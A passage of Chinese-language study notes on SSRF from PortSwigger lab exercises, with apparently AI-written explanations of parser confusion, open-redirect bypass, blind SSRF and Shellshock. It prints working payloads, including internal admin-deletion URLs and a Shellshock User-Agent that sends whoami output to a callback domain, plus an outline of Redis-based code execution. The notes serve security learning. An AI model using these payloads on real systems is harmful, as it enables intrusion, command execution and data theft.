同时,这里涉及一个 HTTP的解析逻辑,没有 @ 的时候 127.1就是 host,而有 @ 的时候, @后面的才是 host。所以这里无法连接,是因为本地无法访问外部库。

所以我们现在的思路就是:

欺骗白名单结构(在他的结构逻辑中,只有向库存系统发起的连接才是合法的)
|
告诉后端解析我们要连接127.1(127.1才可以执行删除用户的命令)

而让 stock.weliketoshop.net 先存在,后被截断,依赖的就是 白名单 和 后端解析 的双重解码。

所以:

stockApi=http://127.1%2523@stock.weliketoshop.net/admin/delete?username=carlos

[!NOTE]

URL解析顺序

URL 标准结构:

scheme://authority/path?query#fragment
部分作用
scheme协议(http/https)
authority主机相关信息
path路径
query参数
fragment本地片段

补充一下:

fragment# 后面的部分)不会被发送到 HTTP 服务器。

翻译成大白话就是:前端浏览器才看,后端服务器看不到。

而且,后面的部分无法再影响前面的部分,这是 SSRF parser confusion 的核心。

[!IMPORTANT]

URL重要分隔符总览

字符作用影响的解析阶段
:scheme / port 分隔scheme、port
//authority 开始authority
@userinfo 与 host 分隔authority
/authority 与 path 分隔path
?query 开始query
#fragment 开始fragment
&query 参数分隔query
=query key/value 分隔query

通过开重定向绕过SSRF滤波器

It is sometimes possible to bypass filter-based defenses by exploiting an open redirection vulnerability. 有时通过利用开放重定向漏洞绕过基于过滤器的防御。

In the previous example, imagine the user-submitted URL is strictly validated to prevent malicious exploitation of the SSRF behavior. However, the application whose URLs are allowed contains an open redirection vulnerability. Provided the API used to make the back-end HTTP request supports redirections, you can construct a URL that satisfies the filter and results in a redirected request to the desired back-end target. 在前一个例子中,假设用户提交的URL经过严格验证,以防止对SSRF行为的恶意利用。然而,允许使用URL的应用存在开放重定向漏洞。只要用于后端HTTP请求的API支持重定向,你可以构建一个满足过滤器条件并产生重定向请求到目标的URL。

For example, the application contains an open redirection vulnerability in which the following URL: 例如,该应用包含一个开放重定向漏洞,其中以下URL如下:

/product/nextProduct?currentProductId=6&path=http://evil-user.net

returns a redirection to: 返回重定向至:

http://evil-user.net

You can leverage the open redirection vulnerability to bypass the URL filter, and exploit the SSRF vulnerability as follows: 你可以利用开放重定向漏洞绕过URL过滤器,利用SSRF漏洞如下:

POST /product/stock HTTP/1.0 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 118 
stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin

This SSRF exploit works because the application first validates that the supplied stockAPI URL is on an allowed domain, which it is. The application then requests the supplied URL, which triggers the open redirection. It follows the redirection, and makes a request to the internal URL of the attacker’s choosing. 该SSRF漏洞之所以有效,是因为应用程序首先验证提供的stockAPI URL是否属于允许的域名,而它确实存在。应用程序随后请求提供的 URL,触发开放重定向。它会跟随重定向,并向攻击者选择的内部网址发出请求。

Lab 5 带有开放重定向漏洞的过滤旁路SSRF

SSRF with filter bypass via open redirection vulnerability

先试试直接连接 http://192.168.0.12:8080/admin 会咋样,

"Invalid external stock check url 'Invalid URL'"

无法访问。

当我们再看看页面的其他功能,下一件商品时,抓包,

GET /product/nextProduct?currentProductId=1&path=/product?productId=2 HTTP/2

重发,

HTTP/2 302 Found
Location: /product?productId=5
X-Frame-Options: SAMEORIGIN
Content-Length: 0

(这是一个开放重定向,也就是我们传什么location,就会跳转哪里。)

发现浏览器收到 重定向 的响应,但是我们再思考一下我们的目的,是要让服务器去执行删除命令,也就是说要让服务器去重定向。

所以我们回到 查询库存的地方,

stockApi:/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos

Query 10 如何理解这两种重定向?

一、nextProduct 请求

GET /product/nextProduct?... HTTP/2

这是:

你的浏览器 → 网站服务器

你自己主动访问了:

/product/nextProduct

所以:

  • 服务器返回302
  • 浏览器收到302
  • 浏览器决定继续跳转

这是正常网页导航。


流程:

你的浏览器

    ├── GET /nextProduct


网站服务器

    ├── 返回 302


你的浏览器

    ├── 再次发请求

所以这里:

浏览器是主角。


二、stockApi 请求

现在看:

POST /product/stock

你提交的是:

stockApi=/product/stock/check?productId=1&storeId=1

注意:

这里你并没有让浏览器访问:

/product/stock/check

你只是:

把一个字符串提交给服务器

类似:

stockApi = user_input

然后后端代码:

requests.get(stockApi)

或者:

httpClient.send(stockApi)

这时候:

发请求的人已经变成服务器了。

流程:

你的浏览器

    ├── POST /product/stock
    │      stockApi=http://xxx


网站服务器

    ├── 自己去请求 http://xxx


目标服务器

注意:

你的浏览器:

从头到尾都没访问过 http://xxx

而是:

网站服务器帮你访问了。

这就是 SSRF:

Server Side Request Forgery

Server Side:

服务器端发请求。


最关键的区别

你在浏览器 Network 里看到:

POST /product/stock

后,

浏览器并不会:

自动再去访问 stockApi

浏览器根本不认识:

stockApi

它只是 POST 参数。


浏览器视角

浏览器只知道:

POST /product/stock

结束。


服务器视角

服务器收到:

stockApi=http://xxx

然后它内部代码:

fetch(stockApi)

于是:

服务器自己联网。


现在再看重定向

假设:

stockApi=/product/nextProduct?path=http://127.0.0.1/admin

流程:


第一步:

你的浏览器:

POST /product/stock

第二步:

网站服务器看到:

stockApi=/product/nextProduct...

于是:

网站服务器自己请求:

GET /product/nextProduct...

第三步:

nextProduct 返回:

302 Location: http://127.0.0.1/admin

这时候:是谁收到302?

是网站服务器,不是你的浏览器。

因为:

是网站服务器在请求 nextProduct。


第四步:

网站服务器继续跟随302:

GET http://127.0.0.1/admin

于是:

SSRF 成功。


你可以记一个判断方法

看:

“URL 是谁解析的”


浏览器解析:

<a href="...">
<img src="...">
302 Location

→ 浏览器跳转


服务器解析:

requests.get(user_input)
curl(user_input)
fetch(user_input)

→ SSRF / 服务器请求

SSRF 盲漏洞

Blind SSRF vulnerabilities occur if you can cause an application to issue a back-end HTTP request to a supplied URL, but the response from the back-end request is not returned in the application’s front-end response. 如果您可以导致应用程序向提供的 URL 发出后端 HTTP 请求,但后端请求的响应未在应用程序的前端响应中返回,则会出现盲目 SSRF 漏洞。

Blind SSRF is harder to exploit but sometimes leads to full remote code execution on the server or other back-end components. 盲 SSRF 更难利用,但有时会导致在服务器或其他后端组件上完全远程执行代码。

看完这一段,一头雾水,还是请教一下chatGPT吧😭😭😭

Blind SSRF(盲 SSRF)

它和普通 SSRF 最大区别是:

类型能不能看到目标响应
普通 SSRF
Blind SSRF不能

一、普通 SSRF 是什么感觉

比如:

stockApi=http://localhost/admin

服务器去请求:

http://localhost/admin

然后:

把返回内容直接给你。

你浏览器能看到:

<h1>Admin Panel</h1>

这就是:

有回显 SSRF

你能直接看到后端请求结果。


二、Blind SSRF 为什么叫“盲”

Blind:

Blind = 看不见

意思是:

虽然:

服务器真的发出了请求

但是:

响应内容不给你看

例如:

你传:

avatarUrl=http://127.0.0.1/admin

服务器内部:

requests.get("http://127.0.0.1/admin")

确实执行了。

但前端只返回:

Avatar updated successfully

你完全不知道:

  • 请求有没有成功
  • 目标存不存在
  • 返回了什么
  • 有没有访问到内网

所以叫:

Blind SSRF


三、最经典的 Blind SSRF 场景

比如:

1. 网站头像抓取

输入头像URL
→ 网站后台下载图片

你提交:

http://example.com/avatar.png

后端:

requests.get(url)

下载图片。

但:

前端只显示:

上传成功

不会把 HTTP 响应给你。


2. 网页预览功能

例如:

输入文章链接
→ 后端抓取网页标题

后台:

requests.get(url)

但你看不到完整响应。


3. Referer 分析系统(PortSwigger经典题)

比如:

Referer: http://evil.com

网站后台分析系统会:

requests.get(referer)

抓取来源页。

但用户根本不知道后台请求了什么。


四、Blind SSRF 为什么更难

因为:

你没有“回显”

普通 SSRF:

输入 payload

直接看到响应

立刻知道成没成功

Blind SSRF:

输入 payload

啥都看不到

只能猜

所以利用难度高很多。


五、那怎么确认 Blind SSRF 存在?

答案:

OAST(Out-of-band)

也叫:

带外检测


六、核心思想

既然:

目标服务器不会把响应返回给我

那:

我让目标服务器主动连接我的服务器

如果我收到了连接:

就说明:

SSRF 成功了


七、Burp Collaborator

这是 PortSwigger 专门为 Blind SSRF 做的工具。

它会给你一个:

xxxxx.oastify.com

你把它塞进 payload:

Referer: http://abc123.oastify.com

如果目标服务器真的访问了:

abc123.oastify.com

Collaborator 就会收到:

  • DNS 请求
  • HTTP 请求

然后告诉你:

有机器访问了你的域名

于是:

Blind SSRF 被确认


八、Blind SSRF 的网络流程

普通 SSRF:

Attacker

   ├──▶ Victim

   │      ├──▶ Internal Server
   │      │
   │      ◀── Response

   ◀────── Internal Data

你能看到:

Internal Data

Blind SSRF:

Attacker

   ├──▶ Victim

   │      ├──▶ Internal Server

   ◀────── "OK"

你看不到内部响应。


所以要改成:

Attacker

   ├──▶ Victim

   │      ├──▶ Attacker Server

   │      └── DNS/HTTP callback

你通过:

“目标反连你”

来确认漏洞。


九、为什么 Blind SSRF 有时能 RCE

你原文这里:

Blind SSRF sometimes leads to full remote code execution

这是因为:

SSRF 不只是“读网页”

而是:

让服务器主动连接其他服务

而很多内部服务:

  • Redis
  • Jenkins
  • Elasticsearch
  • Docker API
  • WebLogic
  • FastCGI
  • gopher协议

可能存在:

命令执行


十、比如 Redis SSRF RCE

服务器:

requests.get(url)

如果支持:

gopher://

攻击者能构造:

gopher://127.0.0.1:6379/_...

直接向 Redis 发协议数据。

最终:

  • 写 SSH key
  • 写计划任务
  • 写 webshell

实现 RCE。


十一、为什么 Blind SSRF 更接近真实攻击

现实世界里:

很多 SSRF:

根本没有回显

因为开发者通常只:

后台请求一下
然后做内部逻辑

不会把响应返回。

所以真实渗透里:

Blind SSRF 比普通 SSRF 更常见


十二、Blind SSRF 的典型检测位置

以后你看到这些功能, 都要怀疑:

功能原因
webhook后端主动请求
URL导入后端下载
图片抓取后端访问
RSS订阅后端解析
Referer分析后端抓取
OpenGraph预览后端访问
PDF生成后端加载资源
邮件系统后端读取链接

十三、你现在可以这样区分

SSRF类型特征
普通 SSRF能看到响应
Blind SSRF看不到响应
OAST Blind SSRF用外带通道确认
SSRF + Open Redirect利用302跳板
SSRF → RCE攻击内部协议/服务

十四、PortSwigger 的 Blind SSRF 经典题

例如:

网站会:

分析 Referer

你改:

Referer: http://xxx.oastify.com

页面正常返回:

200 OK

啥异常都没有。

但 Burp Collaborator 收到:

DNS lookup from victim server

这就证明:

后端真的访问了你的 URL

属于 Blind SSRF。

寻找 SSRF 漏洞的隐藏攻击面

Many server-side request forgery vulnerabilities are easy to find, because the application’s normal traffic involves request parameters containing full URLs. Other examples of SSRF are harder to locate. 许多服务器端请求伪造漏洞很容易被发现,因为应用程序的正常流量涉及包含完整URL的请求参数。 SSRF 的其他示例更难找到。

请求中的部分 URL

Sometimes, an application places only a hostname or part of a URL path into request parameters. The value submitted is then incorporated server-side into a full URL that is requested. If the value is readily recognized as a hostname or URL path, the potential attack surface might be obvious. However, exploitability as full SSRF might be limited because you do not control the entire URL that gets requested. 有时,应用程序仅将主机名或 URL 路径的一部分放入请求参数中。然后,提交的值会在服务器端合并到所请求的完整 URL 中。如果该值很容易被识别为主机名或 URL 路径,则潜在的攻击面可能是显而易见的。但是,作为完整 SSRF 的可利用性可能会受到限制,因为您无法控制所请求的整个 URL。

数据格式中的 URL

Some applications transmit data in formats with a specification that allows the inclusion of URLs that might get requested by the data parser for the format. An obvious example of this is the XML data format, which has been widely used in web applications to transmit structured data from the client to the server. When an application accepts data in XML format and parses it, it might be vulnerable to XXE injection. It might also be vulnerable to SSRF via XXE. We’ll cover this in more detail when we look at XXE injection vulnerabilities. 某些应用程序以某种规范传输数据,该规范允许包含数据解析器可能请求该格式的 URL。一个明显的例子是 XML 数据格式,它已广泛用于 Web 应用程序中,用于将结构化数据从客户端传输到服务器。当应用程序接受 XML 格式的数据并解析它时,它可能容易受到 XXE 注入的攻击。它还可能容易通过 XXE 受到 SSRF 的攻击。当我们研究 XXE 注入漏洞时,我们将更详细地介绍这一点。

通过 Referer 标头进行 SSRF

Some applications use server-side analytics software to tracks visitors. This software often logs the Referer header in requests, so it can track incoming links. Often the analytics software visits any third-party URLs that appear in the Referer header. This is typically done to analyze the contents of referring sites, including the anchor text that is used in the incoming links. As a result, the Referer header is often a useful attack surface for SSRF vulnerabilities. 一些应用程序使用服务器端分析软件来跟踪访问者。该软件通常会在请求中记录 Referer 标头,因此它可以跟踪传入链接。通常,分析软件会访问 Referer 标头中出现的任何第三方 URL。这样做通常是为了分析引用站点的内容,包括传入链接中使用的锚文本。因此,Referer 标头通常是 SSRF 漏洞的有用攻击面。

什么是盲SSRF?

Blind SSRF vulnerabilities arise when an application can be induced to issue a back-end HTTP request to a supplied URL, but the response from the back-end request is not returned in the application’s front-end response. 当可以诱导应用程序向提供的 URL 发出后端 HTTP 请求,但后端请求的响应未在应用程序的前端响应中返回时,就会出现盲目 SSRF 漏洞。

SSRF 盲漏洞有什么影响?

The impact of blind SSRF vulnerabilities is often lower than fully informed SSRF vulnerabilities because of their one-way nature. They cannot be trivially exploited to retrieve sensitive data from back-end systems, although in some situations they can be exploited to achieve full remote code execution. 由于其单向性质,盲目 SSRF 漏洞的影响通常低于完全知情的 SSRF 漏洞。尽管在某些情况下可以利用它们来实现完全远程代码执行,但不能轻易利用它们从后端系统检索敏感数据。

如何发现和利用盲 SSRF 漏洞

The most reliable way to detect blind SSRF vulnerabilities is using out-of-band (OAST) techniques. This involves attempting to trigger an HTTP request to an external system that you control, and monitoring for network interactions with that system. 检测盲 SSRF 漏洞的最可靠方法是使用带外 (OAST) 技术。这涉及尝试向您控制的外部系统触发 HTTP 请求,并监视与该系统的网络交互。

The easiest and most effective way to use out-of-band techniques is using Burp Collaborator. You can use Burp Collaborator to generate unique domain names, send these in payloads to the application, and monitor for any interaction with those domains. If an incoming HTTP request is observed coming from the application, then it is vulnerable to SSRF. 使用带外技术最简单、最有效的方法是使用 Burp Collaborator。您可以使用 Burp Collaborator 生成唯一的域名,将这些域名以有效负载的形式发送到应用程序,并监视与这些域的任何交互。如果观察到来自应用程序的传入 HTTP 请求,则它很容易受到 SSRF 的攻击。

[!NOTE]

It is common when testing for SSRF vulnerabilities to observe a DNS look-up for the supplied Collaborator domain, but no subsequent HTTP request. This typically happens because the application attempted to make an HTTP request to the domain, which caused the initial DNS lookup, but the actual HTTP request was blocked by network-level filtering. It is relatively common for infrastructure to allow outbound DNS traffic, since this is needed for so many purposes, but block HTTP connections to unexpected destinations. 在测试 SSRF 漏洞时,通常会观察所提供的 Collaborator 域的 DNS 查找,但不会观察后续的 HTTP 请求。发生这种情况的原因通常是应用程序尝试向域发出 HTTP 请求,这导致了初始 DNS 查找,但实际的 HTTP 请求被网络级过滤阻止。基础设施允许出站 DNS 流量的情况相对常见,因为许多目的都需要这样做,但会阻止到意外目的地的 HTTP 连接。

Lab 6 带外检测的盲 SSRF

Blind SSRF with out-of-band detection

访问商品详情页,在 refer 标头 中 Insert Collaborator Payload,成功。

Query 11 为啥我将refer表头修改为我自己控制的服务器地址,对方服务器就会来访问我的服务器?

这个问题其实是 Blind SSRF 里最核心、也最容易让人“顿悟”的一个点。

你现在的疑惑本质上是:

我只是修改了请求头里的 Referer,为什么目标服务器会主动访问我控制的服务器?

因为:

有一个“后台分析系统”在偷偷处理你的 Referer。

不是 Web 服务器本身一定会访问, 而是:

某些后端功能会把 Referer 当成 URL 去抓取。


一、先理解 Referer 是什么

浏览器访问页面时:

会告诉目标网站:

“我是从哪里跳过来的”

例如:

你从:

https://google.com

点链接进入:

https://shop.com

浏览器会自动带:

Referer: https://google.com

意思:

“用户是从 Google 来的”

二、为什么网站关心 Referer

因为网站想做:

访问来源统计

例如:

  • 用户从哪里来的?
  • 哪个论坛给我带流量?
  • 哪篇文章引流效果好?
  • 哪个广告点击率高?

所以很多网站会记录:

Referer

到数据库。


三、问题出在“分析系统”

很多网站不仅仅:

记录字符串

还会:

主动访问 Referer URL

为什么?

因为他们想分析:

  • 来源页面标题
  • 来源页面内容
  • 来源页面关键词
  • 锚文本(anchor text)
  • SEO 信息

四、于是后台可能会这样写

假设:

你发送:

Referer: http://evil.com

后台分析系统:

referer = request.headers["Referer"]

page = requests.get(referer)

它会:

主动访问你的 Referer

因为它想:

“看看这个来源页到底是什么内容”

五、为什么开发者会这么干

例如:

网站管理员后台可能显示:

Top Referring Sites

或者:

Traffic Sources

甚至:

“有个论坛正在推荐你的网站”

为了显示:

来源网页标题
来源摘要
来源关键词

后台就会:

自动抓取 Referer 页面

类似搜索引擎爬虫。


六、于是攻击发生了

你把:

Referer: http://attacker.com

改成:

Referer: http://your-server.com

后台分析系统:

requests.get("http://your-server.com")

于是:

目标服务器主动连接了你的服务器


七、你控制的服务器会看到什么

你自己的服务器日志里:

可能出现:

GET / HTTP/1.1
User-Agent: Java/1.8

或者:

GET / HTTP/1.1
User-Agent: Python-requests

来源 IP:

目标网站服务器IP

这说明:

目标服务器真的来访问你了

这就是:

Blind SSRF 成功


八、这里为什么是“Blind”

因为:

用户前端看到的页面:

可能只是:

200 OK

没有任何异常。

你看不到:

  • 后台请求结果
  • 是否请求成功
  • 返回内容

你唯一能知道的方法是:

你自己的服务器收到了访问

这就是:

Out-of-band(带外)检测


九、整个流程图

你:

Referer: http://attacker.com

网站:

收到请求

后台分析系统:

requests.get(referer)

目标服务器访问:

http://attacker.com

你的服务器日志:

收到来自目标服务器的HTTP请求

十、PortSwigger 为什么特别强调 Referer

因为:

很多人根本不会检查 Referer

开发者通常会觉得:

Referer只是统计信息

不会有风险。

但实际上:

  • Referer 可控
  • 又可能被后端请求
  • 还常常没有过滤

于是非常适合 SSRF。


十一、真实世界中的典型代码

很多日志/分析系统:

会做:

if referer.startswith("http"):
    crawl(referer)

或者:

metadata = fetch_page_metadata(referer)

目的可能是:

  • 获取页面 title
  • 获取 favicon
  • 获取 SEO 信息
  • 获取 OpenGraph 信息

十二、你可以把它想象成“网站想偷窥来源页”

正常开发者思路:

“这个用户从哪个网页来的?”

于是:

“我去访问一下那个网页”

于是就变成:

用户控制了服务器访问目标

也就是 SSRF。


十三、为什么 Burp Collaborator 特别适合这个

因为 Blind SSRF:

看不到响应

所以:

Burp 给你一个:

xxxx.oastify.com

你放进:

Referer: http://xxxx.oastify.com

如果后台分析系统访问了:

xxxx.oastify.com

Collaborator 就会记录:

  • DNS 查询
  • HTTP 请求

于是你知道:

后端确实访问了你控制的域名。


十四、为什么有时只有 DNS 没有 HTTP

有些后台系统会:

socket.gethostbyname(url)

或者:

先做DNS解析

但不会真正发 HTTP。

于是 Collaborator 会看到:

DNS interaction

没有:

HTTP interaction

这仍然说明:

存在 SSRF 行为

只是请求没完全发出去。


十五、这类 SSRF 在现实中很常见

因为:

很多系统都会:

自动抓取用户提供的 URL

包括:

功能行为
SEO分析抓 Referer
社交卡片预览抓 URL
短链接服务抓网页标题
邮件安全网关检查链接
爬虫系统自动访问
统计系统分析来源页

所以:

“服务器自动访问用户给的 URL”

在现实里非常普遍。

Simply identifying a blind SSRF vulnerability that can trigger out-of-band HTTP requests doesn’t in itself provide a route to exploitability. Since you cannot view the response from the back-end request, the behavior can’t be used to explore content on systems that the application server can reach. However, it can still be leveraged to probe for other vulnerabilities on the server itself or on other back-end systems. You can blindly sweep the internal IP address space, sending payloads designed to detect well-known vulnerabilities. If those payloads also employ blind out-of-band techniques, then you might uncover a critical vulnerability on an unpatched internal server. 简单地识别可触发带外 HTTP 请求的盲目 SSRF 漏洞本身并不能提供可利用的途径。由于您无法查看后端请求的响应,因此该行为无法用于探索应用程序服务器可以访问的系统上的内容。但是,仍然可以利用它来探测服务器本身或其他后端系统上的其他漏洞。您可以盲目地扫描内部 IP 地址空间,发送旨在检测众所周知的漏洞的有效负载。如果这些有效负载还采用盲目带外技术,那么您可能会在未修补的内部服务器上发现严重漏洞。

Lab 7 利用 Shellshock 进行盲目 SSRF

Blind SSRF with Shellshock exploitation

先贴上请求吧,目前还不知道为啥成功不了,大概率是工具的问题(Failed to connect to the configured Collaborator server: polling.oastify.com.)。

GET /product?productId=1 HTTP/2
Host: 0a1100f704117a93806394bb006b004f.web-security-academy.net
Cookie: session=tBfOdFjoEujM8ydQInJRKDsldpCjgbQ1
Sec-Ch-Ua: "Microsoft Edge";v="147", "Not.A/Brand";v="8", "Chromium";v="147"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () { :; }; /usr/bin/nslookup $(whoami).gfz3jry2mbpfurvnw33eievgg7myaoyd.oastify.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://192.168.0.1:8080
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Priority: u=0, i

关键点在于:

User-Agent: () { :; }; /usr/bin/nslookup $(whoami).gfz3jry2mbpfurvnw33eievgg7myaoyd.oastify.com

Referer: http://192.168.0.1:8080

Query 12 那个Bash指令是啥意思,为啥放在UA头那里?

这条 payload 是典型的 Shellshock 探测结构,用来验证目标是否存在 Bash 环境变量命令执行。

结构如下:

() { :; }; /usr/bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN

我们拆开看。


1. () { :; };

这是 Shellshock 的“触发器”。

正常 Bash 函数定义

Bash 支持:

myfunc() { echo hello; }

定义函数。


Shellshock 的漏洞点

老版本 Bash 在解析:

x='() { :;}; evil command'

时:

它本来只应该解析函数:

() { :; }

但漏洞 Bash 会继续执行后面的:

evil command

于是:

() { :; };

就成了:

  • 前半段:伪造函数
  • 后半段:开始命令执行

2. :

这里的冒号:

:

是 Bash 内置命令。

作用类似:

true

即:

  • 什么都不做
  • 永远返回成功

所以:

() { :; }

本质上就是:

定义一个空函数

3. 最后的 ;

这里:

() { :; };

最后这个分号非常关键。

它表示:

函数定义结束

后面的内容变成:

新的 shell 命令

于是 Bash 漏洞会执行:

/usr/bin/nslookup ...

4. /usr/bin/nslookup

这是 DNS 查询工具。

攻击者这里不用:

id
whoami
cat /etc/passwd

这种直接回显。

因为:

很多时候:

  • 没有 HTTP 回显
  • CGI 不显示命令结果
  • 输出被吞掉

于是改用:

DNS 外带(Out-of-Band)

5. $(whoami)

这是 Bash 命令替换。

等价于:

`whoami`

意思:

先执行 whoami
再把结果拼接进字符串

比如:

www-data

于是:

$(whoami).BURP-COLLABORATOR-SUBDOMAIN

会变成:

www-data.xxx.burpcollaborator.net

6. 整体执行效果

最终 Bash 实际执行的是:

/usr/bin/nslookup www-data.xxx.burpcollaborator.net

7. 为什么 Burp Collaborator 能收到请求

因为:

目标服务器会主动进行 DNS 解析:

www-data.xxx.burpcollaborator.net

DNS 请求会到达:

Burp Collaborator

于是你就知道:

  • 命令执行成功了
  • 执行用户是谁
  • 目标能出网

8. 为什么这类 payload 很经典

因为它:

优点原因
无需回显DNS 外带
很隐蔽只是 DNS 请求
绕过很多 WAF不依赖输出
适合盲注Blind RCE
成功率高DNS 通常允许

9. CGI 中完整链路

实际流程通常是:

HTTP Header

CGI 环境变量

Bash 启动

解析 () { :; };

执行 nslookup

Burp Collaborator 收到 DNS

10. 为什么常放在 User-Agent

因为 CGI 会把 Header 变成环境变量:

例如:

User-Agent: xxx

会变成:

HTTP_USER_AGENT=xxx

如果 CGI:

#!/bin/bash

就会触发 Shellshock。

Query 13 CGI是啥?

CGI 是:

Common Gateway Interface
(通用网关接口)

它是一种:

“Web服务器 和 外部程序” 之间的通信规范

你可以把它理解成:

让网页能够执行服务器程序的一套老技术

Another avenue for exploiting blind SSRF vulnerabilities is to induce the application to connect to a system under the attacker’s control, and return malicious responses to the HTTP client that makes the connection. If you can exploit a serious client-side vulnerability in the server’s HTTP implementation, you might be able to achieve remote code execution within the application infrastructure. 利用盲目 SSRF 漏洞的另一个途径是诱导应用程序连接到攻击者控制下的系统,并向建立连接的 HTTP 客户端返回恶意响应。如果您可以利用服务器 HTTP 实现中的严重客户端漏洞,您也许能够在应用程序基础设施内实现远程代码执行。

Previous
Cross-site request forgery
Next
Cross-site scripting